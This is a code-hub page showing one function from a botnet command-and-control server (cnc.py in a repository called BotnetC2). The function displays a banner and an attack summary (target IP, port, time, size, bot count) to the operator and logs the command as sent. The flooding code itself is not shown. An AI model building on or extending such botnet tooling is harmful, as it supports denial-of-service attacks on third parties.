MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / attack_sent2

Function attack_sent2

BOTNETc2/cnc.py:559–573  ·  view source on GitHub ↗
(ip, port, secs, size, client)

Source from the content-addressed store, hash-verified

557 send_attack_target += 1
558
559def attack_sent2(ip, port, secs, size, client):
560 global send_attack_target
561 loadering(client)
562 color_random = f'\x1b[38;5;{randint(0,255)}m'
563 send(client, f"")
564 for x in banner.split('\n'):
565 send(client,f'{color_random}'+x)
566 time.sleep(0.2)
567 message_flooding = f"""╔══════════════════════════[ATTACKING SENDING] >_\n >_ SEND TO BOTNET >_\n ════════════════════════\n IP > {ip}\n PORT > {port}\n TIME > {secs}\n SIZE > {size}\n ════════════════════════\n </> </> </> </> </> </>\n╚══════════════════════════[{len(bots)} botnet] >_"""
568
569 for x in message_flooding.split('\n'):
570 send(client,f'{color_random}'+x)
571 time.sleep(0.2)
572 send(client,f"\033[32mSuccessfully sent command 📜")
573 send_attack_target += 1
574
575def main():
576 if len(sys.argv) != 2:

Callers 1

all_layer4Function · 0.70

Calls 2

loaderingFunction · 0.70
sendFunction · 0.70

Tested by

no test coverage detected